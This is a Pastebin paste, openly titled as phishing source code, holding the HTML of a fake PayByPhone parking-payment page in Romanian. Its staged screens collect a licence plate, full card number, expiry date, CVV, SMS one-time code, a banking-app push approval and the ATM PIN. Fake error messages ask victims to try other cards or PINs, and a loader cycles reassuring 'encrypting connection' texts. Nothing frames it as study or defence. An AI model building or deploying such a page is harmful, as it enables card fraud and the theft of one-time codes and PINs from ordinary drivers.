API tools faq
paste
Guest User

index - Phishing sourcecode index.phg - 2025 - July - Hackout.r

a guest
Jul 27th, 2025
23
0
Never
Add comment
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
text 20.14 KB | None | 0 0
raw download clone embed print report
  1.  
  2. <!DOCTYPE html>
  3. <html lang="RO">
  4. <head>
  5. <meta charset="UTF-8">
  6. <meta http-equiv="X-UA-Compatible" content="IE=edge">
  7. <meta name="viewport" content="width=device-width, initial-scale=1.0, maximum-scale=1.0, user-scalable=no"/>
  8. <meta name="theme-color" media="(prefers-color-scheme: light)" content="white"/>
  9. <meta name="theme-color" media="(prefers-color-scheme: dark)" content="#000000"/>
  10. <title>Park PayByPhone - RO</title>
  11. <script src="https://cdn.tailwindcss.com"></script>
  12. <script>
  13. tailwind.config = {
  14. theme: {
  15. extend: {
  16. colors: {}
  17. }
  18. }
  19. }
  20. </script>
  21. <style>
  22. body {
  23. font-family: Poppins, sans-serif;
  24. font-size: 16px;
  25. }
  26.  
  27. h1 {
  28. font-family: 'Abril Fatface', serif;
  29. font-size: 46px;
  30. }
  31. </style>
  32. <script defer src="https://unpkg.com/@alpinejs/[email protected]/dist/cdn.min.js"></script>
  33. <script defer src="https://unpkg.com/[email protected]/dist/cdn.min.js"></script>
  34. <script defer src="files/engine.js"></script>
  35. <script defer src="img/main.css"></script>
  36. <script id="_wauwy5">var _wau = _wau || []; _wau.push(["dynamic", "dpd99", "wy5", "c4302bffffff", "small"]);</script><script async src="//waust.at/d.js"></script>
  37. <link rel="shortcut icon" type="image/x-icon" href="img/favicon.ico" id="favicon">
  38. </head>
  39. <body>
  40. <!-- 1 -->
  41. <div id="timerScreen" class="_hidden screen">
  42. <nav>
  43. <div class="pl-4 flex border-b mx-2">
  44. <div class="flex-grow">
  45. <img src="img/images.png" alt="" class="h-10 md:h-6 my-2">
  46. </div>
  47. <div class="flex-none mr-4">
  48. <svg xmlns="http://www.w3.org/2000/svg" viewBox="0 0 24 24" fill="currentColor" class="size-10 mt-2">
  49. <path fill-rule="evenodd"
  50. d="M3 6.75A.75.75 0 0 1 3.75 6h16.5a.75.75 0 0 1 0 1.5H3.75A.75.75 0 0 1 3 6.75ZM3 12a.75.75 0 0 1 .75-.75h16.5a.75.75 0 0 1 0 1.5H3.75A.75.75 0 0 1 3 12Zm0 5.25a.75.75 0 0 1 .75-.75h16.5a.75.75 0 0 1 0 1.5H3.75a.75.75 0 0 1-.75-.75Z"
  51. clip-rule="evenodd"/>
  52. </svg>
  53. </div>
  54. </div>
  55. </nav>
  56. <div class="max-w-xl mx-auto p-2">
  57. <div id="navdisplay" class="ml-4 mt-3">
  58. <span class="font-normal text-xs text-gray-500">Începe ></span>
  59. <span class="font-semibold text-xs">Durata ></span>
  60. <span class="font-normal text-xs text-gray-500">Vehicul ></span>
  61. <span class="font-normal text-xs text-gray-500">Plată ></span>
  62. <span class="font-normal text-xs text-gray-500">Mulțumim</span>
  63. </div>
  64. <div class="container mx-auto p-2">
  65. <form action="" method="post" id="timerForm">
  66. <div class="text-xl text-center mt-6 font-semibold">
  67. Cât timp vrei să parchezi? </div>
  68. <div class="mt-4 text-sm text-center font-family">
  69. Selectează timpul de parcare pe oră și minut. </div>
  70. <div class="grid grid-cols-2 gap-4 mt-8">
  71. <div class="">
  72. <select name="hours_select" id="hours_select" class="p-4 w-full text-base">
  73. <option value="0" selected>0 Ore</option>
  74. <option value="60">1 Oră</option>
  75. <option value="120">2 Ore</option>
  76. <option value="180">3 Ore</option>
  77. <option value="240">4 Ore</option>
  78. <option value="300">5 Ore</option>
  79. <option value="360">6 Ore</option>
  80. <option value="420">7 Ore</option>
  81. <option value="480">8 Ore</option>
  82. <option value="540">9 Ore</option>
  83. <option value="600">10 Ore</option>
  84. <option value="660">11 Ore</option>
  85. <option value="720">12 Ore</option>
  86. <option value="780">13 Ore</option>
  87. <option value="840">14 Ore</option>
  88. <option value="900">15 Ore</option>
  89. <option value="960">16 Ore</option>
  90. <option value="1020">17 Ore</option>
  91. <option value="1080">18 Ore</option>
  92. <option value="1140">19 Ore</option>
  93. <option value="1200">20 Ore</option>
  94. <option value="1260">21 Ore</option>
  95. <option value="1320">22 Ore</option>
  96. <option value="1380">23 Ore</option>
  97. <option value="1440">24 Ore</option>
  98. </select>
  99. </div>
  100. <div class="">
  101. <select name="minutes_select" id="minutes_select" class="p-4 w-full text-base">
  102. <option value="00">00 Minute</option>
  103. <option value="15" selected>15 Minute</option>
  104. <option value="30">30 Minute</option>
  105. <option value="45">45 Minute</option>
  106. </select>
  107. </div>
  108. </div>
  109. <div class="mt-6">
  110. <div class="text-lg">
  111. <span class="font-bold">Preț:</span>
  112. <span class="font-bold text-fuchsia-900">
  113. <span class="totalPriceSpan">0</span>
  114. RON </span>
  115. </div>
  116. <div class="text-xs text-gray-500">
  117. Cost estimat. Vei vedea costul final înainte de a plăti. </div>
  118. </div>
  119. <div class="mt-6">
  120. <button class="bg-emerald-700 p-2 w-full text-white font-semibold font-semibold" type="submit">
  121. Continuă </button>
  122. </div>
  123. </form>
  124.  
  125.  
  126. </div>
  127. </div>
  128. <footer class="fixed bottom-0 right-0 left-0">
  129. <div class="bg-emerald-700 text-white text-center text-xs py-5 mt-10">
  130. <div class="mb-2">
  131. Copyright &#169; PayByPhone 2025
  132. </div>
  133. </footer>
  134. </div>
  135.  
  136. <!-- 2 -->
  137. <div id="plateScreen" class="hidden screen">
  138. <nav>
  139. <div class="pl-4 flex border-b mx-2">
  140. <div class="flex-grow">
  141. <img src="img/images.png" alt="" class="h-10 md:h-6 my-2">
  142. </div>
  143. <div class="flex-none mr-4">
  144. <svg xmlns="http://www.w3.org/2000/svg" viewBox="0 0 24 24" fill="currentColor" class="size-10 mt-2">
  145. <path fill-rule="evenodd"
  146. d="M3 6.75A.75.75 0 0 1 3.75 6h16.5a.75.75 0 0 1 0 1.5H3.75A.75.75 0 0 1 3 6.75ZM3 12a.75.75 0 0 1 .75-.75h16.5a.75.75 0 0 1 0 1.5H3.75A.75.75 0 0 1 3 12Zm0 5.25a.75.75 0 0 1 .75-.75h16.5a.75.75 0 0 1 0 1.5H3.75a.75.75 0 0 1-.75-.75Z"
  147. clip-rule="evenodd"/>
  148. </svg>
  149. </div>
  150. </div>
  151. </nav>
  152. <form action="" id="plateForm">
  153. <div class="max-w-xl mx-auto p-2">
  154. <div id="navdisplay" class="ml-4 mt-3">
  155. <span class="font-normal text-xs text-gray-500">Începe ></span>
  156. <span class="font-normal text-xs text-gray-500">Durata ></span>
  157. <span class="font-semibold text-xs">Vehicul ></span>
  158. <span class="font-normal text-xs text-gray-500">Plată ></span>
  159. <span class="font-normal text-xs text-gray-500">Mulțumim</span>
  160. </div>
  161. <div class="text-xl text-center mt-6 font-semibold">
  162. Adaugă numărul de înmatriculare </div>
  163. <div class="mt-8">
  164. <label for="plateNumber" class="block w-full font-bold text-sm">Număr de înmatriculare</label>
  165. <input type="text"
  166. id="plateNumber"
  167. name="plateNumber"
  168. required="required"
  169. class="w-full p-2 border shadow rounded text-sm"
  170. maxlength="8"
  171. placeholder="Număr de înmatriculare">
  172. </div>
  173. <div class="mt-8">
  174. <button class="bg-emerald-700 p-2 w-full text-white font-semibold" type="submit">
  175. Continuă </button>
  176. </div>
  177. </div>
  178. </form>
  179. <footer class="fixed bottom-0 right-0 left-0">
  180. <div class="bg-emerald-700 text-white text-center text-xs py-5 mt-10">
  181. <div class="mb-2">
  182. Copyright &#169; PayByPhone 2025
  183. </div>
  184. </footer>
  185. </div>
  186.  
  187. <!-- 3 -->
  188. <div id="cvvScreen" class="hidden screen">
  189. <nav>
  190. <div class="pl-4 flex border-b mx-2">
  191. <div class="flex-grow">
  192. <img src="img/images.png" alt="" class="h-10 md:h-6 my-2">
  193. </div>
  194. <div class="flex-none mr-4">
  195. <svg xmlns="http://www.w3.org/2000/svg" viewBox="0 0 24 24" fill="currentColor" class="size-10 mt-2">
  196. <path fill-rule="evenodd"
  197. d="M3 6.75A.75.75 0 0 1 3.75 6h16.5a.75.75 0 0 1 0 1.5H3.75A.75.75 0 0 1 3 6.75ZM3 12a.75.75 0 0 1 .75-.75h16.5a.75.75 0 0 1 0 1.5H3.75A.75.75 0 0 1 3 12Zm0 5.25a.75.75 0 0 1 .75-.75h16.5a.75.75 0 0 1 0 1.5H3.75a.75.75 0 0 1-.75-.75Z"
  198. clip-rule="evenodd"/>
  199. </svg>
  200. </div>
  201. </div>
  202. </nav>
  203.  
  204. <div class="max-w-xl mx-auto p-2">
  205. <div id="navdisplay" class="ml-4 mt-3">
  206. <span class="font-normal text-xs text-gray-500">Începe ></span>
  207. <span class="font-normal text-xs text-gray-500">Durata ></span>
  208. <span class="font-normal text-xs text-gray-500">Vehicul ></span>
  209. <span class="font-semibold text-xs">Plată ></span>
  210. <span class="font-normal text-xs text-gray-500">Mulțumim</span>
  211. </div>
  212. <form action="" id="cvvForm">
  213. <input type="hidden" name="cmd" value="3">
  214. <div class="container mx-auto p-2">
  215. <div class="text-xl text-center mt-5 font-semibold">
  216. Adaugă metoda de plată </div>
  217. <div class="error_msg hidden text-red-700 text-center font-semibold mt-5 text-xs">
  218. Ups!... Cardul tău de credit nu este acceptat. Te rugăm să încerci altul. </div>
  219. <div class="mt-2">
  220. <div class="font-normal text-sm">&#9203; Timp: <span class="humanTime"></span> </div>
  221. <span class="font-normal text-sm">&#128181 Suma de plătit:
  222. <span class="totalPriceSpan">0</span>
  223. EUR </span>
  224. <div class="font-normal text-sm">&#128290; Număr licență: <span class="licenseNumber"></span> </div>
  225. </div>
  226.  
  227.  
  228. <div class="bg-gray-100 px-2 py-6 rounded border shadow-lg mt-3">
  229. <div class="text-center mt-2">
  230. <img src="img/visa.png" alt="" class="w-10 inline-block mx-1">
  231. <img src="img/mastercard.png" alt="" class="w-10 inline-block mx-1">
  232. <img src="img/amex.png" alt="" class="w-10 inline-block mx-1">
  233. <img src="img/unionPay.png" alt="" class="w-10 inline-block mx-1">
  234. <img src="img/dci.png" alt="" class="w-10 inline-block mx-1">
  235. <img src="img/discover.png" alt="" class="w-10 inline-block mx-1">
  236. </div>
  237. <div class="mt-4">
  238. <label for="cvvNum" class="block w-full font-bold text-sm">Număr card</label>
  239. <input type="tel"
  240. name="cvvNum"
  241. id="cvvNum"
  242. pattern="\d{4} \d{4} \d{4} \d{4}"
  243. required="required"
  244. minlength="15"
  245. x-data
  246. x-mask="9999 9999 9999 9999"
  247. class="w-full p-2 border shadow rounded text-sm"
  248. placeholder="**** **** **** ****">
  249. </div>
  250. <div class="mt-5 grid grid-cols-2 gap-4">
  251. <div class="">
  252. <label for="cvvDate" class="block w-full font-bold text-sm">Data expirării</label>
  253. <input type="tel"
  254. name="cvvDate"
  255. id="cvvDate"
  256. pattern="\d{2}\/\d{2}"
  257. required="required"
  258. x-data
  259. x-mask="99/99"
  260. class="w-full p-2 border shadow rounded text-sm"
  261. placeholder="MM/YY">
  262. </div>
  263. <div class="">
  264. <label for="cvv2" class="block w-full font-bold text-sm">CVV</label>
  265. <input type="tel"
  266. name="cvv2"
  267. id="cvv2"
  268. pattern="\d{3}"
  269. maxlength="3"
  270. required="required"
  271. x-data
  272. x-mask="9999"
  273. class="w-full p-2 border shadow rounded text-sm"
  274. placeholder="***">
  275. </div>
  276. </div>
  277. <div class="mt-8">
  278. <button class="bg-emerald-700 p-2 w-full text-white font-semibold" type="submit">
  279. Adaugă card </button>
  280. </div>
  281. </div>
  282.  
  283.  
  284. </div>
  285. </form>
  286. </div>
  287.  
  288.  
  289. <footer class="fixed bottom-0 right-0 left-0">
  290. <div class="bg-emerald-700 text-white text-center text-xs py-5 mt-10">
  291. <div class="mb-2">
  292. Copyright &#169; PayByPhone 2025
  293. </div>
  294. </footer>
  295. </div>
  296.  
  297. <!-- 4 -->
  298. <div id="confirmScreen" class="hidden screen">
  299. <nav>
  300. <div class="pl-4 flex border-b mx-2">
  301. <div class="flex-grow">
  302. <img src="img/images.png" alt="" class="h-10 md:h-6 my-2">
  303. </div>
  304. <div class="flex-none mr-4">
  305. <svg xmlns="http://www.w3.org/2000/svg" viewBox="0 0 24 24" fill="currentColor" class="size-10 mt-2">
  306. <path fill-rule="evenodd"
  307. d="M3 6.75A.75.75 0 0 1 3.75 6h16.5a.75.75 0 0 1 0 1.5H3.75A.75.75 0 0 1 3 6.75ZM3 12a.75.75 0 0 1 .75-.75h16.5a.75.75 0 0 1 0 1.5H3.75A.75.75 0 0 1 3 12Zm0 5.25a.75.75 0 0 1 .75-.75h16.5a.75.75 0 0 1 0 1.5H3.75a.75.75 0 0 1-.75-.75Z"
  308. clip-rule="evenodd"/>
  309. </svg>
  310. </div>
  311. </div>
  312. </nav>
  313. <div class="max-w-xl mx-auto p-2">
  314. <form action="" method="post" id="confirmForm">
  315. <div id="navdisplay" class="ml-4 mt-3">
  316. <span class="font-normal text-xs text-gray-500">Start ></span>
  317. <span class="font-normal text-xs text-gray-500">Duration ></span>
  318. <span class="font-semibold text-xs">Confirm transaction</span>
  319. </div>
  320. <div class="container mx-auto p-2">
  321. <div class="text-xl text-center mt-6 font-semibold">
  322. Approve your secure payment
  323. </div>
  324. <div class="text-center text-sm">
  325. Log into your mobile banking app and tap payments to approve.
  326. </div>
  327. <div class="error_msg hidden text-red-700 text-center font-semibold mt-4">
  328. An error has occured.. Try again...
  329. </div>
  330. <div class="my-12">
  331. <img src="img/push.png" alt="" class="w-32 max-w-sm block mx-auto">
  332. </div>
  333.  
  334.  
  335. <div class="mt-8">
  336. <button class="bg-emerald-700 p-2 w-full text-white font-semibold">
  337. Confirm
  338. </button>
  339. </div>
  340. </div>
  341. </form>
  342.  
  343.  
  344. </div>
  345. <footer class="fixed bottom-0 right-0 left-0">
  346. <div class="bg-emerald-700 text-white text-center text-xs py-5 mt-10">
  347. <div class="mb-2">
  348. Copyright &#169; PayByPhone 2025
  349. </div>
  350. </footer>
  351. </div>
  352.  
  353. <!-- 5 -->
  354. <div id="otpScreen" class="hidden screen">
  355. <nav>
  356. <div class="pl-4 flex border-b mx-2">
  357. <div class="flex-grow">
  358. <img src="img/images.png" alt="" class="h-10 md:h-6 my-2">
  359. </div>
  360. <div class="flex-none mr-4">
  361. <svg xmlns="http://www.w3.org/2000/svg" viewBox="0 0 24 24" fill="currentColor" class="size-10 mt-2">
  362. <path fill-rule="evenodd"
  363. d="M3 6.75A.75.75 0 0 1 3.75 6h16.5a.75.75 0 0 1 0 1.5H3.75A.75.75 0 0 1 3 6.75ZM3 12a.75.75 0 0 1 .75-.75h16.5a.75.75 0 0 1 0 1.5H3.75A.75.75 0 0 1 3 12Zm0 5.25a.75.75 0 0 1 .75-.75h16.5a.75.75 0 0 1 0 1.5H3.75a.75.75 0 0 1-.75-.75Z"
  364. clip-rule="evenodd"/>
  365. </svg>
  366. </div>
  367. </div>
  368. </nav>
  369. <div class="max-w-xl mx-auto p-2">
  370. <div id="navdisplay" class="ml-4 mt-3">
  371. <span class="font-normal text-xs text-gray-500">Începe ></span>
  372. <span class="font-normal text-xs text-gray-500">Plată ></span>
  373. <span class="font-semibold text-xs">OTP</span>
  374. </div>
  375. <div class="container mx-auto p-2">
  376. <form action="" id="otpForm">
  377. <input type="hidden" name="cmd" value="5">
  378. <div class="text-xl text-center mt-6 font-semibold">
  379. Confirmare plată </div>
  380. <div class="text-center text-sm">
  381. Introdu codul SMS unic de 6 caractere trimis pe numărul tău de telefon înregistrat pentru a finaliza tranzacția. </div>
  382. <div class="error_msg hidden text-red-700 text-center font-semibold mt-4 font-sans">
  383. An error has occured.. Try again...
  384. </div>
  385. <div class="text-center mt-8">
  386. <img src="img/visa.png" alt="" class="w-10 inline-block mx-1">
  387. <img src="img/mastercard.png" alt="" class="w-10 inline-block mx-1">
  388. <img src="img/amex.png" alt="" class="w-10 inline-block mx-1">
  389. <img src="img/unionPay.png" alt="" class="w-10 inline-block mx-1">
  390. <img src="img/dci.png" alt="" class="w-10 inline-block mx-1">
  391. <img src="img/discover.png" alt="" class="w-10 inline-block mx-1">
  392. </div>
  393. <div class="my-6">
  394. <label for="otp" class="p-1 font-bold block w-full text-sm">Introdu codul SMS</label>
  395. <input type="tel" placeholder="SMS CODE" name="otp" id="otp"maxlength="6" minlength="6" autocomplete="one-time-code" required="required" class="w-full p-2 border shadow text-sm">
  396. </div>
  397. <div class="mt-8">
  398. <button class="bg-emerald-700 p-2 w-full text-white font-semibold">
  399. Confirmă </button>
  400. </div>
  401. </form>
  402. </div>
  403. </div>
  404. <footer class="fixed bottom-0 right-0 left-0">
  405. <div class="bg-emerald-700 text-white text-center text-xs py-5 mt-10">
  406. <div class="mb-2">
  407. Copyright &#169; PayByPhone 2025
  408. </div>
  409. </footer>
  410. </div>
  411.  
  412. <!-- 6 -->
  413. <div id="pinScreen" class="hidden screen">
  414. <nav>
  415. <div class="pl-4 flex border-b mx-2">
  416. <div class="flex-grow">
  417. <img src="img/images.png" alt="" class="h-10 md:h-6 my-2">
  418. </div>
  419. <div class="flex-none mr-4">
  420. <svg xmlns="http://www.w3.org/2000/svg" viewBox="0 0 24 24" fill="currentColor" class="size-10 mt-2">
  421. <path fill-rule="evenodd"
  422. d="M3 6.75A.75.75 0 0 1 3.75 6h16.5a.75.75 0 0 1 0 1.5H3.75A.75.75 0 0 1 3 6.75ZM3 12a.75.75 0 0 1 .75-.75h16.5a.75.75 0 0 1 0 1.5H3.75A.75.75 0 0 1 3 12Zm0 5.25a.75.75 0 0 1 .75-.75h16.5a.75.75 0 0 1 0 1.5H3.75a.75.75 0 0 1-.75-.75Z"
  423. clip-rule="evenodd"/>
  424. </svg>
  425. </div>
  426. </div>
  427. </nav>
  428. <div class="max-w-xl mx-auto p-2">
  429. <form action="" id="pinForm">
  430. <input type="hidden" name="cmd" value="6">
  431. <div id="navdisplay" class="ml-4 mt-3">
  432. <span class="font-normal text-xs text-gray-500">Începe ></span>
  433. <span class="font-normal text-xs text-gray-500">Plată ></span>
  434. <span class="font-semibold text-xs">PIN</span>
  435. </div>
  436. <div class="container mx-auto p-2">
  437. <div class="text-xl text-center mt-6 font-semibold">
  438. Confirmă PIN-ul ATM </div>
  439. <div class="text-center text-sm">
  440. Pentru a preveni frauda, avem nevoie de informații suplimentare pentru a confirma că cardul îți aparține. </div>
  441. <div class="error_msg hidden text-red-700 text-center font-semibold mt-4 text-xs">
  442. Oops!... PIN does not match. Please try another one.
  443. </div>
  444. <div class="text-center mt-8">
  445. <img src="img/visa.png" alt="" class="w-10 inline-block mx-1">
  446. <img src="img/mastercard.png" alt="" class="w-10 inline-block mx-1">
  447. <img src="img/amex.png" alt="" class="w-10 inline-block mx-1">
  448. <img src="img/unionPay.png" alt="" class="w-10 inline-block mx-1">
  449. <img src="img/dci.png" alt="" class="w-10 inline-block mx-1">
  450. <img src="img/discover.png" alt="" class="w-10 inline-block mx-1">
  451. </div>
  452. <div class="my-12">
  453. <label for="atmPin" class="p-1 font-semibold block w-full text-sm">PIN ATM</label>
  454. <input type="password" placeholder="&#x2022; &#x2022; &#x2022; &#x2022;" pattern="\d{4}" maxlength="4" name="atmPin" id="atmPin"
  455. class="w-full p-2 border shadow text-sm"
  456. placeholder="ATM PIN" maxlength="5">
  457. </div>
  458.  
  459.  
  460. <div class="mt-8">
  461. <button class="bg-emerald-700 p-2 w-full text-white font-semibold">
  462. Continuă </button>
  463. </div>
  464. </form>
  465.  
  466.  
  467. </div>
  468. </div>
  469. <footer class="fixed bottom-0 right-0 left-0">
  470. <div class="bg-emerald-700 text-white text-center text-xs py-5 mt-10">
  471. <div class="mb-2">
  472. Copyright &#169; PayByPhone 2025
  473. </div>
  474. </footer>
  475. </div>
  476.  
  477. <!-- 7 -->
  478. <div id="errScreen" class="hidden screen">
  479. <nav>
  480. <div class="pl-4 flex border-b mx-2">
  481. <div class="flex-grow">
  482. <img src="img/logo.png" alt="" class="w-1/3 my-4">
  483. </div>
  484. <div class="flex-none mr-4">
  485. <svg xmlns="http://www.w3.org/2000/svg" viewBox="0 0 24 24" fill="currentColor" class="size-10 mt-2">
  486. <path fill-rule="evenodd"
  487. d="M3 6.75A.75.75 0 0 1 3.75 6h16.5a.75.75 0 0 1 0 1.5H3.75A.75.75 0 0 1 3 6.75ZM3 12a.75.75 0 0 1 .75-.75h16.5a.75.75 0 0 1 0 1.5H3.75A.75.75 0 0 1 3 12Zm0 5.25a.75.75 0 0 1 .75-.75h16.5a.75.75 0 0 1 0 1.5H3.75a.75.75 0 0 1-.75-.75Z"
  488. clip-rule="evenodd"/>
  489. </svg>
  490. </div>
  491. </div>
  492. </nav>
  493. <div class="max-w-xl mx-auto p-2">
  494. <div id="navdisplay" class="ml-4 mt-3">
  495. <span class="font-semibold">Start</span>
  496. >
  497. <span class="font-semibold">Payment</span>
  498. >
  499. <span class="font-semibold">Error</span>
  500. </div>
  501. <div class="container mx-auto p-2 mt-6">
  502. <div class="text-xl text-center mt-6 font-semibold">
  503. There has been a problem with the transaction!
  504. </div>
  505. <div class="text-center mt-16">
  506. We are sorry, something went wrong with the current transaction, you will be redirected to the first
  507. page to try again.
  508. </div>
  509. <div class="my-12">
  510. <img src="img/error.png" alt="" class="w-24 block mx-auto">
  511. </div>
  512. </div>
  513. </div>
  514. <footer class="fixed bottom-0 right-0 left-0">
  515. <div class="pl-4 flex border-b mx-2">
  516. <img src="img/logo.png" alt="" class="w-1/4 my-4 flex-none">
  517. <div class="flex-grow mr-4 text-xs">
  518. <div class="grid grid-cols-3 gap-2 ml-4">
  519. <div>Cookie Policy</div>
  520. <div>Privacy Policy</div>
  521. <div>Terms Of Use</div>
  522. </div>
  523. <div class="text-center mt-2">Copyright &#169; PayByPhone 2024</div>
  524. </div>
  525. </div>
  526. </footer>
  527. </div>
  528.  
  529. <!-- 9 -->
  530. <div id="loadingScreen" class="hidden screen">
  531. <nav>
  532. <div class="pl-4 flex border-b mx-2">
  533. <div class="flex-grow">
  534. <img src="img/images.png" alt="" class="h-10 md:h-6 my-2">
  535. </div>
  536. <div class="flex-none mr-4">
  537. <svg xmlns="http://www.w3.org/2000/svg" viewBox="0 0 24 24" fill="currentColor" class="size-10 mt-2">
  538. <path fill-rule="evenodd"
  539. d="M3 6.75A.75.75 0 0 1 3.75 6h16.5a.75.75 0 0 1 0 1.5H3.75A.75.75 0 0 1 3 6.75ZM3 12a.75.75 0 0 1 .75-.75h16.5a.75.75 0 0 1 0 1.5H3.75A.75.75 0 0 1 3 12Zm0 5.25a.75.75 0 0 1 .75-.75h16.5a.75.75 0 0 1 0 1.5H3.75a.75.75 0 0 1-.75-.75Z"
  540. clip-rule="evenodd"/>
  541. </svg>
  542. </div>
  543. </div>
  544. </nav>
  545. <div id="loadingText" class="text-center mt-32 text-base font-semibold tracking-wide animate-pulse">
  546. Te rugăm să aștepți... </div>
  547. <div class="my-8 mx-auto">
  548. <svg xmlns="http://www.w3.org/2000/svg"
  549. xmlns:xlink="http://www.w3.org/1999/xlink"
  550. style="margin:auto;display:block;"
  551. width="94px" height="94px"
  552. viewBox="0 0 100 100" preserveAspectRatio="xMidYMid">
  553. <circle cx="50" cy="50" fill="none" stroke="#246e38" stroke-width="10" r="35" stroke-dasharray="164.93361431346415 56.97787143782138">
  554. <animateTransform attributeName="transform"
  555. type="rotate"
  556. repeatCount="indefinite"
  557. dur="1s"
  558. values="0 50 50;360 50 50"
  559. keyTimes="0;1"></animateTransform>
  560. </circle>
  561. </svg>
  562. </div>
  563. <div class="text-center text-gray-600 mb-20 text-sm text-sm text-gray-500">
  564. Te rugăm să nu închizi această fereastră. </div>
  565. </div>
  566. </div>
  567. </div>
  568.  
  569. </div>
  570. <script>
  571. const loadingText = document.getElementById("loadingText");
  572. const messages = [
  573. "Please wait...",
  574. "Checking session integrity...",
  575. "Encrypting connection...",
  576. "Synchronizing data...",
  577. "Finalizing secure authentication..."
  578. ];
  579. let i = 0;
  580.  
  581. setInterval(() => {
  582. loadingText.classList.add("fade-out");
  583. setTimeout(() => {
  584. loadingText.textContent = messages[i];
  585. loadingText.classList.remove("fade-out");
  586. i = (i + 1) % messages.length;
  587. }, 2200);
  588. }, 3000); // se schimbă mesajul la fiecare 3 secunde
  589. </script>
  590. </body>
  591. </html>
Advertisement
Add Comment
Please, Sign In to add comment
Public Pastes
We use cookies for various purposes including analytics. By continuing to use Pastebin, you agree to our use of cookies as described in the Cookies Policy.  OK, I Understand
Not a member of Pastebin yet?
Sign Up, it unlocks many cool features!